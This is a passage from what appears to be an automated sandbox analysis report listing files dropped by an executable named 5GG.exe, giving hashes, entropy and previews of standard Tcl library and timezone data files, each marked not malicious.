SHA-512:	465065A938C71AF4588B3331B51A62DD57F57492EB1CB6C0F52B9FD0A2FE7A54B1E995AA56E4A41D7A99EAFF665C1E23E3B240FB3F9840AB242C21B1DBFFFF45
Malicious:	false
Preview:	# safe.tcl --..#..# This file provide a safe loading/sourcing mechanism for safe interpreters...# It implements a virtual path mechanism to hide the real pathnames from the..# child. It runs in a parent interpreter and sets up data structure and..# aliases that will be invoked when used from a child interpreter...#..# See the safe.n man page for details...#..# Copyright (c) 1996-1997 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution of..# this file, and for a DISCLAIMER OF ALL WARRANTIES.....#..# The implementation is based on namespaces. These naming conventions are..# followed:..# Private procs starts with uppercase...# Public procs are exported and starts with lowercase..#....# Needed utilities package..package require opt 0.4.8....# Create the safe namespace..namespace eval ::safe {.. # Exported API:.. namespace export interpCreate interpInit interpConfigure interpDelete \...interpAddToAccessPath interpFindInAccessPath setL

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tclIndex

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5617
Entropy (8bit):	4.747404679682368
Encrypted:	false
SSDEEP:	96:eOaVhNUMUuUQU2UsUIUbUEUEeUkgU6UWSO0DT5RTdcvsilrvs+jscMK57ehXowrz:ejVHRRLP3LWDXewTbSO0DT5RTdcvsilg
MD5:	C62FB22F4C9A3EFF286C18421397AAF4
SHA1:	4A49B8768CFF68F2EFFAF21264343B7C632A51B2
SHA-256:	DDF7E42DEF37888AD0A564AA4F8CA95F4EEC942CEBEBFCA851D35515104D5C89
SHA-512:	558D401CB6AF8CE3641AF55CAEBC9C5005AB843EE84F60C6D55AFBBC7F7129DA9C58C2F55C887C3159107546FA6BC13FFC4CCA63EA8841D7160B8AA99161A185
Malicious:	false
Preview:	# Tcl autoload index file, version 2.0..# -- tcl --..# This file is generated by the "auto_mkindex" command..# and sourced to set up indexing information for one or..# more commands. Typically each line is a command that..# sets an element in the auto_index array, where the..# element name is the name of a command and the value is..# a script that loads the command.....set auto_index(auto_reset) [list source [file join $dir auto.tcl]]..set auto_index(tcl_findLibrary) [list source [file join $dir auto.tcl]]..set auto_index(auto_mkindex) [list source [file join $dir auto.tcl]]..set auto_index(auto_mkindex_old) [list source [file join $dir auto.tcl]]..set auto_index(::auto_mkindex_parser::init) [list source [file join $dir auto.tcl]]..set auto_index(::auto_mkindex_parser::cleanup) [list source [file join $dir auto.tcl]]..set auto_index(::auto_mkindex_parser::mkindex) [list source [file join $dir auto.tcl]]..set auto_index(::auto_mkindex_parser::hook) [list source [file join $dir auto.t

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tm.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12204
Entropy (8bit):	4.763796758810551
Encrypted:	false
SSDEEP:	192:55CjnlRfMKqaOH5bE2KjNkkpgpCmqkkuowUh9PTYMsvSO+xy8h/vuKisM68E:5q3MKYH5bE1jNkkpgomq/uCPTYMC+k83
MD5:	215262A286E7F0A14F22DB1AA7875F05
SHA1:	66B942BA6D3120EF8D5840FCDEB06242A47491FF
SHA-256:	4B7ED9FD2363D6876092DB3F720CBDDF97E72B86B519403539BA96E1C815ED8F
SHA-512:	6ECD745D7DA9D826240C0AB59023C703C94B158AE48C1410FAA961A8EDB512976A4F15AE8DEF099B58719ADF0D2A9C37E6F29F54D39C1AB7EE81FA333A60F39B
Malicious:	false
Preview:	# -- tcl --..#..# Searching for Tcl Modules. Defines a procedure, declares it as the primary..# command for finding packages, however also uses the former 'package unknown'..# command as a fallback...#..# Locates all possible packages in a directory via a less restricted glob. The..# targeted directory is derived from the name of the requested package, i.e...# the TM scan will look only at directories which can contain the requested..# package. It will register all packages it found in the directory so that..# future requests have a higher chance of being fulfilled by the ifneeded..# database without having to come to us again...#..# We do not remember where we have been and simply rescan targeted directories..# when invoked again. The reasoning is this:..#..# - The only way we get back to the same directory is if someone is trying to..# [package require] something that wasn't there on the first scan...#..# Either..# 1) It is there now: If we rescan, you get it; if not you don

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Abidjan

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	147
Entropy (8bit):	4.995501022397479
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QF08x/2DcsBdNMXGm2OHnFvpsYoHsdSalHFLwy:SlSWB9eg/2DBpDm2OHnFvmYoH1alHOy
MD5:	FF8B5540631A6EE93507338C4E7AA49D
SHA1:	817B261A1B6B92AA498EC286349964EA10FB5A84
SHA-256:	7213997BB9CF9D384A7002B8C8EFEF25C01ABA6083D9835A16D583D5DCEE40A0
SHA-512:	8D78AC4868ED0013EDA536C0E82E0E91398772AA18C637AEFE22F24B142FCDA55A4CB853B2282951E907C9E2F62BD3F831A5CF995F52898F5225D16889943A9C
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Abidjan) {.. {-9223372036854775808 -968 0 LMT}.. {-1830383032 0 0 GMT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Accra

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.832432925672155
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2Dc9XfBQDcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DUGDBS
MD5:	52FDFD3DB98475FBBB620D0D5565C5CC
SHA1:	C7750452859663605272553DBEE0B6C134E1517C
SHA-256:	6040827AFED8CEF45F252FBD7E3E862C0B5E9D06C1C98C58BAD61DFE67BD57CC
SHA-512:	2FF9D96D81279148A86BE208FEEACCBCB8B4224D093D6C092ECD1C4EA2186589CCF947027D3A726600C703611B4CFEE029AA14ED3E8593C477B427C4F342CF27
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Accra) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Addis_Ababa

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	189
Entropy (8bit):	4.817170256300069
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DczqIVDcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DnaDkO
MD5:	30CDD4D37E9DD60FBF6D754C9343F364
SHA1:	56F896C21068764B7B8F884F374B18913CA3D9CA
SHA-256:	E11FD8AD8572B684333810CFDC23B92E1ACF619875866985E288D92F8277D07F
SHA-512:	78FC8043CCE25713404E70996229E5EA8238BF5C0F59029064EDA5494E2D4F54398931F3D855E30C82B2C53B789C40EE4CBF09D0F98C2BA6734595D4AA75017A
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Addis_Ababa) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Algiers

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	4.187497782275587
Encrypted:	false
SSDEEP:	12:MB862D7nmdHh5Cv6/lHY8SOSuvvzXipFSgSO5vW5aKmvbsF6VWsXN87QBWcAFy:5veSvKlHYXNujXipFSjKRKXiWsXCGWJy
MD5:	E8D3DF11CE0E7575485573FA07D955D5
SHA1:	3B2C00C85B6C0BFAA1C676C970D6DF1B4BDC3D4A
SHA-256:	E6874647561CE1C5FD1F650C9B167F77AC5B24FD2026046399A9043CF998E5C4
SHA-512:	E2968BE847622CF243C0E498436FD21BDC2E1DF0FD8D694F2C70569D17CE896CDE4968BB8ABDEF9F687439E4EA2D955AE87D6C15E81F881EE1413416A90765D4
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Algiers) {.. {-9223372036854775808 732 0 LMT}.. {-2486592732 561 0 PMT}.. {-1855958961 0 0 WET}.. {-1689814800 3600 1 WEST}.. {-1680397200 0 0 WET}.. {-1665363600 3600 1 WEST}.. {-1648342800 0 0 WET}.. {-1635123600 3600 1 WEST}.. {-1616893200 0 0 WET}.. {-1604278800 3600 1 WEST}.. {-1585443600 0 0 WET}.. {-1574038800 3600 1 WEST}.. {-1552266000 0 0 WET}.. {-1539997200 3600 1 WEST}.. {-1531443600 0 0 WET}.. {-956365200 3600 1 WEST}.. {-950486400 0 0 WET}.. {-942012000 3600 0 CET}.. {-812502000 7200 1 CEST}.. {-796262400 3600 0 CET}.. {-781052400 7200 1 CEST}.. {-766630800 3600 0 CET}.. {-733280400 0 0 WET}.. {-439430400 3600 0 CET}.. {-212029200 0 0 WET}.. {41468400 3600 1 WEST}.. {54774000 0 0 WET}.. {231724800 3600 1 WEST}.. {246240000 3600 0 CET}.. {259545600 7200 1 CEST}.. {275274000 3600 0 CET}.. {309740400 0 0 WET}.. {

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Asmara

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.801054282631739
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DcjEUEH+DcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DGs+DR
MD5:	A543BDEB3771017421FB75231F0004F2
SHA1:	D682C58C27562FF3ABAB8EDE8EB6EA754DA7C02E
SHA-256:	064EB7F9A1FA05A317C6BDCA6B102BC1560D980758F9E4DDB010C9E7DC068ECB
SHA-512:	44848D60EDC79AF784A819714C0D9F62DCCB6329B47F25D74AB8C174BF9EC3F783C66FEB27F588A93FABA9BECAF076F453D6D797CE4F28461F7AE69440EA54C7
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Asmara) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Asmera

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.806258322241929
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DcjAWDcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2D8DkOn
MD5:	1B5E386E7A2F10D9385DE4C5683EBB85
SHA1:	FECBA599C37493D2E0AEE8E21BAB40BF8E8DC82A
SHA-256:	76939852A98EA7BF156D0AC18B434CC610DAF5232322C0FBB066CD52C5B72AF7
SHA-512:	B36FABFCDB2187A3A4A211C8E033D96C91E3C4D47907D284E10786555562C82231566033EAB4753EF1E48DF1233CFC8C6C0FB3CA50748BE0B2554A972A88FBA0
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Asmera) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Bamako

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.883634030944169
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcxAQDcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DwNDBS
MD5:	6B9BB5B37C41AA727E31BF03483DC1CA
SHA1:	CB3BBA37B063EA4A54CD15C6E30C14D8CA30D3C0
SHA-256:	F6D1BA22115A6565B6D6ABEB578F001DDB41E673C422C8EA70D0DF77B24115F6
SHA-512:	23DB3E298FDEB165FD85D99E03C00835B584984B814AF7F54A9CDD4A9F93E16B0C58342D319129F46CF8EC36F93DE5EA51B492CA4CABDAB75D84709BC6C26119
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Bamako) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Bangui

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.882974805254803
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2Dcx2m/2DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2Dw/2D4yn
MD5:	92FF9E5835C0C80F358BFE69120660A0
SHA1:	724758B43BD79DD8A29B02BE6910D492924F8280
SHA-256:	5047A507D22B68C9349EB6A48C41C80DB4C69F98F99C6574059DEA87178E36C0
SHA-512:	6FCB709DB4AC19191FECE1E8BAC55E77F265B5AF89F7A3565F06BFAF0BEE12E3EAF2F52CA09C68D75C358C25A31867505CE8AD75D7386DCD15F4BE1CE61272CD
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Bangui) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Banjul

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.888193386512119
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2Dcx79FHp4DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2Dw7J4c
MD5:	46E5703CF284E44E15E5872DF075FCBC
SHA1:	EA4BFA6D568DFA877F72302ADA21ECC2840D9FD5
SHA-256:	77E610A02CCECE3045B09D07A9BE6100F5AA9C3C2AEB543535C9AE941194F4E4
SHA-512:	1454467FE63E97DFA4DE66E359F68B2D80C92CDE59FC15A4BE513629FFD154D2281EADF3FC78F7AFDDF5A5896195F3A69E66697A659BBB1A0EAFD3E1DA6565EC
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Banjul) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Bissau

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.847843768169462
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QF08x/2Dc5iDMXGm2OHGVkeoHsdSawwF6hSVPVFwy:SlSWB9eg/2D4uDm2OHCkeoH1awwFMmMy
MD5:	7E710C939B9CC0C1AC1ECF4239B543C5
SHA1:	429CC87086FB22727815ED05AC6472333FF06013
SHA-256:	2A870E534DE67713C27F2F3B9BF26FA7498C240CF633988CE76DBDAC5B69214D
SHA-512:	70D9365C31C43A95211FC20E9290B24D356FFEFA935B8829CE32831026A196DECDD12226097F6DA3B4B919E137AA0181714680CDBB72B00C130A87E3A4735004
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Bissau) {.. {-9223372036854775808 -3740 0 LMT}.. {-1830380400 -3600 0 -01}.. {157770000 0 0 GMT}..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Blantyre

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.904342145830274
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2Dc8ycXp75h4DcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2DAmp1hs
MD5:	7AD3749D7047855CB9B9EC9696015402
SHA1:	F792359AD9EEC2ABD98DAFA6661C1E57BAB89EBE
SHA-256:	8F700409B8EEE33ACE5F050414971FFEE0270949842E58E9299BB5CD6CCF34DE
SHA-512:	681C1B318746C587DEBA6E109D1D5A99D1F3E28FE46C24F36B69D533D884FDDC6EA35BB31A475575D683B73BF129FED761523EC9285F2FF1E4CACA2C54C046C5
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Blantyre) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Brazzaville

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.901235831565769
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsGe/vXHAIgNGESuvHRL/2DciE0TMJZp4DcGeyn:SlSWB9vsM3y7VXHAIgNTTN/2D4qGp4D1
MD5:	7028268EE88250AC40547A3FDBBFC67C
SHA1:	5006D499CD1D1CB93EB3DA0EC279F76B7123DAA6
SHA-256:	596DB2D64CDD6250642CB65514D5BCB52F3E3EA83F50D8915D9D4FDEA008F440
SHA-512:	D623C69FE8A6050E77FB819C2F5FAEE35D5034182B1D30A409C17208155501656133E774E402875537335F8201E4734A0B5D327712CBF623AC330F1014D9025B
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Lagos)]} {.. LoadTimeZoneFile Africa/Lagos..}..set TZData(:Africa/Brazzaville) $TZData(:Africa/Lagos)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Bujumbura

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	184
Entropy (8bit):	4.947752840781864
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsfKG5XHAIgNGEjKORL/2DclbDcfKB:SlSWB9vsM3y7fnHAIgNTjdN/2DkbDEi
MD5:	0EBC2D8F0BD1A32C21070F9397EAC9E2
SHA1:	95AAA97427265635784E8AC624CA863DB9F1475D
SHA-256:	9A15867255B43A954CA60DA11660F157553AAB6A15C50ACD49D182276E0CF4CC
SHA-512:	4CD2E14F84C58E955742637A51D99DB9493972671A2B5D801EBD9D901D4903654E374C59BF010C70071D33FA17788358F78004201A787CCA2AD714D670393488
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Maputo)]} {.. LoadTimeZoneFile Africa/Maputo..}..set TZData(:Africa/Bujumbura) $TZData(:Africa/Maputo)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Cairo

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3852
Entropy (8bit):	3.7766651198444507
Encrypted:	false
SSDEEP:	48:58ybRwEa40MF4pt0/jaGYbaJF0a3T07ITB85oWXmSGmuyTVuV0apRQnL0KD3rZza:fLg1GbJFp3gHRQVy7DPUUQkiHMo
MD5:	9DCDB3DD41DA13D81EB8E1CAF56964DA
SHA1:	F95EE7B1EF464F2640EC4AE29F3C18B5BF2B2905
SHA-256:	8698B0A53D858AEA7C495EDF759EF0E6C63F7E07A256599393DEC7B7A7413734
SHA-512:	BA5898ABEE541BC72C9DEDD77BABB18024C7AEA0274FA3F809748FCBFF770BFAD902BF70680DDE989F7D3592E5398C100D0E0EA388D4200911ED7DE089535D6D
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Cairo) {.. {-9223372036854775808 7509 0 LMT}.. {-2185409109 7200 0 EET}.. {-929844000 10800 1 EEST}.. {-923108400 7200 0 EET}.. {-906170400 10800 1 EEST}.. {-892868400 7200 0 EET}.. {-875844000 10800 1 EEST}.. {-857790000 7200 0 EET}.. {-844308000 10800 1 EEST}.. {-825822000 7200 0 EET}.. {-812685600 10800 1 EEST}.. {-794199600 7200 0 EET}.. {-779853600 10800 1 EEST}.. {-762663600 7200 0 EET}.. {-399088800 10800 1 EEST}.. {-386650800 7200 0 EET}.. {-368330400 10800 1 EEST}.. {-355114800 7200 0 EET}.. {-336790800 10800 1 EEST}.. {-323654400 7200 0 EET}.. {-305168400 10800 1 EEST}.. {-292032000 7200 0 EET}.. {-273632400 10800 1 EEST}.. {-260496000 7200 0 EET}.. {-242096400 10800 1 EEST}.. {-228960000 7200 0 EET}.. {-210560400 10800 1 EEST}.. {-197424000 7200 0 EET}.. {-178938000 10800 1 EEST}.. {-165801600 7200 0 EET}.. {-147402000

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Casablanca

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5532
Entropy (8bit):	3.535398586134154
Encrypted:	false
SSDEEP:	96:zE+CJZtmaG6/eszBrlxs5MRhk9xPmwv7KbGKCDp0d:7MZSszBrlKcJC9k
MD5:	18183122D242E0B69A80BC02BC0328DF
SHA1:	C9976ABC0663EB29A2FEAAFDF6746C05A264B67C
SHA-256:	8776EEDFDFEE09C4C833593127CEFAC9C33E2487AB9BF4BF8C73E5E11B4E5613
SHA-512:	9611A6EF9C5B55FAB752C1EC7E464B8AF60AE32383CE9BA72F35168ABB68A45DB0654A9099CBDC123F5F6E2B6DB7C8FBF56A8DDB813824187AD1090971F12219
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Casablanca) {.. {-9223372036854775808 -1820 0 LMT}.. {-1773012580 0 0 +00}.. {-956361600 3600 1 +00}.. {-950490000 0 0 +00}.. {-942019200 3600 1 +00}.. {-761187600 0 0 +00}.. {-617241600 3600 1 +00}.. {-605149200 0 0 +00}.. {-81432000 3600 1 +00}.. {-71110800 0 0 +00}.. {141264000 3600 1 +00}.. {147222000 0 0 +00}.. {199756800 3600 1 +00}.. {207702000 0 0 +00}.. {231292800 3600 1 +00}.. {244249200 0 0 +00}.. {265507200 3600 1 +00}.. {271033200 0 0 +00}.. {448243200 3600 0 +01}.. {504918000 0 0 +00}.. {1212278400 3600 1 +00}.. {1220223600 0 0 +00}.. {1243814400 3600 1 +00}.. {1250809200 0 0 +00}.. {1272758400 3600 1 +00}.. {1281222000 0 0 +00}.. {1301788800 3600 1 +00}.. {1312066800 0 0 +00}.. {1335664800 3600 1 +00}.. {1342749600 0 0 +00}.. {1345428000 3600 1 +00}.. {1348970400 0 0 +00}.. {1367114400 3600 1 +00}.. {13731

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Ceuta

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7536
Entropy (8bit):	3.8315604186920704
Encrypted:	false
SSDEEP:	96:TzLdXKy9f4elPiIEtzsFpMbFNBwA3ybuNTjrjBDmE0DmiTcoYdNOMCsyZhltlUxo:TdayR41sFpM5vwA6Efv03TBZLl
MD5:	30155093248C4F7E45EF7C0132D2B2AB
SHA1:	FAD100CC49F0CB0910BDE39B43295A47512E1BE6
SHA-256:	8827F7311EDE69A9679BDF2B7418DBF350A2FC8F973E8B1E1E4390D4D5C6D2E8
SHA-512:	469A24AF0C2A4A40CB2488C3E21BB9BBDE057F876EACA08A31FC6F22845063D917A0A4AE96680401E45792DE534EE3A305F137A93C4DF879B4602510D881270E
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit....set TZData(:Africa/Ceuta) {.. {-9223372036854775808 -1276 0 LMT}.. {-2177452800 0 0 WET}.. {-1630112400 3600 1 WEST}.. {-1616810400 0 0 WET}.. {-1451692800 0 0 WET}.. {-1442451600 3600 1 WEST}.. {-1427673600 0 0 WET}.. {-1379293200 3600 1 WEST}.. {-1364774400 0 0 WET}.. {-1348448400 3600 1 WEST}.. {-1333324800 0 0 WET}.. {-1316390400 3600 1 WEST}.. {-1301270400 0 0 WET}.. {-1293840000 0 0 WET}.. {-94694400 0 0 WET}.. {-81432000 3600 1 WEST}.. {-71110800 0 0 WET}.. {141264000 3600 1 WEST}.. {147222000 0 0 WET}.. {199756800 3600 1 WEST}.. {207702000 0 0 WET}.. {231292800 3600 1 WEST}.. {244249200 0 0 WET}.. {265507200 3600 1 WEST}.. {271033200 0 0 WET}.. {448243200 3600 0 CET}.. {504918000 3600 0 CET}.. {512528400 7200 1 CEST}.. {528253200 3600 0 CET}.. {543978000 7200 1 CEST}.. {559702800 3600 0 CET}.. {575427600 7200 1 CEST}.. {591152400 3600

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Conakry

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	185
Entropy (8bit):	4.88110192592456
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcmMM1+DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DCM1+c
MD5:	8CDD2EEB7E0EC816F3EC051350FEBF13
SHA1:	37F3A149B4A01DFA2EAB42A28C810BE66AAB7C52
SHA-256:	3176C99FC45337CBCE0CD516DE4B02B8BAA47D00E84F698122A2ADD57797984E
SHA-512:	5A90B6DB45EDAD7734D596FB81FD1959A433F57E71D2212E1DCBD6A12F3FD1FE747FA363C4C787A4D3023F542553C1E2C9CF4F61E28F1BB13042E4AFE3D0FF31
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Conakry) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Dakar

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	183
Entropy (8bit):	4.856992353568779
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqss1kovXHAIgNGE4pHRL/2DcXXMFBx/2DcsS:SlSWB9vsM3y7s3HAIgNT4pHN/2DKXEBn
MD5:	946D3B52F915445DBB8EE8BF67F4EFAB
SHA1:	18345968B95E886CA72634D49F2B38F9B29BA629
SHA-256:	D50F9732757B284BAC75526F2CFA585DF7F6974160827AFB0FF66124C7CFD361
SHA-512:	00B531D1352CF35045EE25C777C7FEA17294E9861E68CE2DE0D9884C05EBDEA84D5F4F0E8B5605721295E25C259979446B7DB76525A633C7D2FA35B38962CF43
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Abidjan)]} {.. LoadTimeZoneFile Africa/Abidjan..}..set TZData(:Africa/Dakar) $TZData(:Africa/Abidjan)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Dar_es_Salaam

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	191
Entropy (8bit):	4.8447607449193075
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2Dc8bEH+DcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DJbVDR
MD5:	7A819572758BC60F4085DF28F1DD1C01
SHA1:	0A5BA34EBFBA5A8E8B896713BA527781FC90FF01
SHA-256:	AB69948637416219A3D458777990FA4568BEBC89388884BBF129C0E1370A560B
SHA-512:	C03E785D1E85292056BB0BDD8DF8326C5DFEB6070AB1C071E1032D14EA69C9DEBC57B2CC7852E35D31652187126CCF0009A6A5C32F9DBB75D56C705535DF05CC
Malicious:	false
Preview:	# created by tools/tclZIC.tcl - do not edit..if {![info exists TZData(Africa/Nairobi)]} {.. LoadTimeZoneFile Africa/Nairobi..}..set TZData(:Africa/Dar_es_Salaam) $TZData(:Africa/Nairobi)..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\tzdata\Africa\Djibouti

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	186
Entropy (8bit):	4.829357904445218
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFtFb+MuUyqsVVMMvfXHAIgNGExVMeWARL/2DcRHKQ1BQDcVVMMyn:SlSWB9vsM3y7VTHAIgNTxcAN/2DOrkDR
MD5:	7981499F9430DC1636C9F834273E0B91
SHA1:	1D63F8578420D56E4A5D9D0881FBEC015421E416
